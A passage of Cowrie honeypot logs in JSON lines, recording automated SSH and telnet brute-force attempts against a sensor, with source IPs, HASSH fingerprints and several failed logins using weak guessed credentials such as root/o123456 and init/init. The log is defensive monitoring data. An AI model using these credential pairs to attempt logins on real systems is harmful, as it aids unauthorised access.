256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:27.229923Z","src_ip":"51.250.105.222","session":"db887dbdd45f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54360,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc0b5cb5ebfa","protocol":"telnet","message":"New connection: 152.42.224.71:54360 (10.17.0.5:23) [session: dc0b5cb5ebfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:27.434217Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"lololo","message":"login attempt [root/lololo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:27.626512Z","src_ip":"51.250.105.222","session":"db887dbdd45f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54370,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f688087e49","protocol":"telnet","message":"New connection: 152.42.224.71:54370 (10.17.0.5:23) [session: c0f688087e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:27.654528Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:28.761236Z","src_ip":"51.250.105.222","session":"db887dbdd45f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54382,"dst_ip":"10.17.0.5","dst_port":23,"session":"729d4d6f1508","protocol":"telnet","message":"New connection: 152.42.224.71:54382 (10.17.0.5:23) [session: 729d4d6f1508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:29.243728Z"}
{"eventid":"cowrie.session.closed","duration":37.15736985206604,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:31.793053Z","src_ip":"152.42.224.71","session":"d76e19d2221a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54386,"dst_ip":"10.17.0.5","dst_port":23,"session":"c65c34983cae","protocol":"telnet","message":"New connection: 152.42.224.71:54386 (10.17.0.5:23) [session: c65c34983cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:31.910340Z"}
{"eventid":"cowrie.session.closed","duration":120.0052182674408,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:35.639213Z","src_ip":"176.65.139.118","session":"f1879b64bb53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37440,"dst_ip":"159.203.135.109","dst_port":22,"session":"f43abd177d02","protocol":"ssh","message":"New connection: 103.153.68.219:37440 (159.203.135.109:22) [session: f43abd177d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:35.834523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:35.840737Z","src_ip":"103.153.68.219","session":"f43abd177d02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:36.091930Z","src_ip":"103.153.68.219","session":"f43abd177d02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47110,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7574c41b320","protocol":"ssh","message":"New connection: 31.40.204.166:47110 (159.203.135.109:22) [session: f7574c41b320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:36.586247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:36.592135Z","src_ip":"31.40.204.166","session":"f7574c41b320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:36.783123Z","src_ip":"31.40.204.166","session":"f7574c41b320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"o123456","message":"login attempt [root/o123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:36.852981Z","src_ip":"103.153.68.219","session":"f43abd177d02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:37.284577Z","src_ip":"31.40.204.166","session":"f7574c41b320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:38.107316Z","src_ip":"103.153.68.219","session":"f43abd177d02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:38.417995Z","src_ip":"31.40.204.166","session":"f7574c41b320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37066,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffad6aab6c90","protocol":"telnet","message":"New connection: 152.42.224.71:37066 (10.17.0.5:23) [session: ffad6aab6c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:42.262608Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":42324,"dst_ip":"10.17.0.5","dst_port":22,"session":"09f4fd4ef835","protocol":"ssh","message":"New connection: 46.19.67.181:42324 (10.17.0.5:22) [session: 09f4fd4ef835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:45.816926Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39772,"dst_ip":"159.203.135.109","dst_port":22,"session":"731885a9b182","protocol":"ssh","message":"New connection: 31.40.204.166:39772 (159.203.135.109:22) [session: 731885a9b182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:48.082759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:48.090180Z","src_ip":"31.40.204.166","session":"731885a9b182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:48.207810Z","src_ip":"31.40.204.166","session":"731885a9b182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41622,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea31d5708017","protocol":"telnet","message":"New connection: 152.42.224.71:41622 (10.17.0.5:23) [session: ea31d5708017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:48.512475Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:48.806347Z","src_ip":"31.40.204.166","session":"731885a9b182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:50.006684Z","src_ip":"31.40.204.166","session":"731885a9b182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":35464,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f38c3461dd0","protocol":"ssh","message":"New connection: 109.237.96.109:35464 (159.203.135.109:22) [session: 9f38c3461dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:53.756446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:53.762092Z","src_ip":"109.237.96.109","session":"9f38c3461dd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:53.860260Z","src_ip":"109.237.96.109","session":"9f38c3461dd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112233445566","message":"login attempt [root/112233445566] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:54.149480Z","src_ip":"109.237.96.109","session":"9f38c3461dd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.384723901748657,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:54.897079Z","src_ip":"152.42.224.71","session":"ea31d5708017","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41630,"dst_ip":"10.17.0.5","dst_port":23,"session":"643ac240f18c","protocol":"telnet","message":"New connection: 152.42.224.71:41630 (10.17.0.5:23) [session: 643ac240f18c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:54.930875Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:55.246735Z","src_ip":"109.237.96.109","session":"9f38c3461dd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.622382402420044,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:55.761456Z","src_ip":"152.42.224.71","session":"79266de25fe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60860,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b7aca4a97e9","protocol":"telnet","message":"New connection: 152.42.224.71:60860 (10.17.0.5:23) [session: 2b7aca4a97e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:56.852605Z"}
{"eventid":"cowrie.session.closed","duration":45.03019690513611,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:21:57.556313Z","src_ip":"152.42.224.71","session":"7f0d4d21e567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40796,"dst_ip":"159.203.135.109","dst_port":22,"session":"b38ea313fb99","protocol":"ssh","message":"New connection: 31.40.204.166:40796 (159.203.135.109:22) [session: b38ea313fb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:00.281736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:00.289698Z","src_ip":"31.40.204.166","session":"b38ea313fb99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:00.423893Z","src_ip":"31.40.204.166","session":"b38ea313fb99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":85.46075391769409,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:00.843735Z","src_ip":"152.42.224.71","session":"9821265bb075","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:00.919318Z","src_ip":"31.40.204.166","session":"b38ea313fb99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:02.104638Z","src_ip":"31.40.204.166","session":"b38ea313fb99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60866,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b11e41b4ebe","protocol":"telnet","message":"New connection: 152.42.224.71:60866 (10.17.0.5:23) [session: 2b11e41b4ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:03.915891Z"}
{"eventid":"cowrie.session.closed","duration":34.942137241363525,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:04.185770Z","src_ip":"152.42.224.71","session":"729d4d6f1508","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60876,"dst_ip":"10.17.0.5","dst_port":23,"session":"6247cd7c9f16","protocol":"telnet","message":"New connection: 152.42.224.71:60876 (10.17.0.5:23) [session: 6247cd7c9f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:05.597151Z"}
{"eventid":"cowrie.session.closed","duration":34.01744532585144,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:05.927685Z","src_ip":"152.42.224.71","session":"c65c34983cae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00357508659363,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:08.366700Z","src_ip":"152.42.224.71","session":"99eff6a0e3de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.861584424972534,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:10.298933Z","src_ip":"152.42.224.71","session":"01e92a9e9c72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.35605835914612,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:11.371343Z","src_ip":"152.42.224.71","session":"d70c481b71ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.75422549247742,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:12.068682Z","src_ip":"152.42.224.71","session":"cca207a10610","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45078,"dst_ip":"159.203.135.109","dst_port":22,"session":"082745ccd3b8","protocol":"ssh","message":"New connection: 31.40.204.166:45078 (159.203.135.109:22) [session: 082745ccd3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:12.182680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:12.208257Z","src_ip":"31.40.204.166","session":"082745ccd3b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:12.380210Z","src_ip":"31.40.204.166","session":"082745ccd3b8","protocol":"ssh"}
